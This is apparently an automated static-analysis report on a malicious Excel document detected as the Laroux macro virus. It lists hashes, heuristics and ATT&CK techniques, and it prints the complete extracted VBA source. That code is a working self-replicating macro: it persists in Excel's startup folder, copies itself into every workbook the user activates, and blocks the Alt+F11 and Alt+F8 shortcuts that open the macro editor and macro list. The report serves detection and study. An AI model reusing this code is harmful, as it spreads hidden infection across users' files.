Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f12ff349ecd02da5…

MALICIOUS

Office (OLE)

28.5 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-10-01
MD5: d0942ad064717ed036ef956e49ed381d SHA-1: 3a6f6f8236ca690163d5f89cd4efa2eb10bc84e5 SHA-256: f12ff349ecd02da59446993b0604992ccc4ae00e5419fe7658926d7b99716dff
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is an Excel document containing VBA macros, specifically an Auto_Open macro. This macro attempts to copy itself to the Excel startup path as 'StartUp.xls', indicating a persistence mechanism. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further supports its malicious nature. The document body content appears to be construction-related cost estimations and does not directly correlate with the macro's behavior, suggesting the macro is the primary malicious component.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1334 bytes
SHA-256: 198608d6997bcd098d3ddd108c8b1bd12d42c3cfeafc4ed97b0c84def5637887
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
Attribute ycop.VB_ProcData.VB_Invoke_Func = " \n14"
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    End If
    End Sub
  


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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